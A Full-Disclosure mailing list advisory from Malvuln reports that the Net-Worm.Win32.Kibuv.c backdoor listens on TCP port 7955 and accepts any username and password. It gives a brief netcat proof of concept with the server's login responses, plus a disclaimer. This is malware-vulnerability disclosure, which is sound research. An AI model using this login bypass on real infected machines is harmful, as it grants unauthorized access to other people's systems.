full-disclosure - [FD] Net-Worm.Win32.Kibuv.c / Authentication Bypass

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Date: Tue, 26 Apr 2022 21:23:10 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Net-Worm.Win32.Kibuv.c / Authentication Bypass

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/4243911d5ca5655d04de8895704fcae6.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Net-Worm.Win32.Kibuv.c
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 7955. Third-party adversaries
who can reach infected systems can logon using any username/password
combination.
Family: Kibuv
Type: PE32
MD5: 4243911d5ca5655d04de8895704fcae6
Vuln ID: MVID-2022-0563
Disclosure: 04/26/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 7955
220 StnyFtpd 0wns j0
USER malvuln
331 Password required
PASS malvuln
230 User logged in.
SYST
215 StnyFtpd

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provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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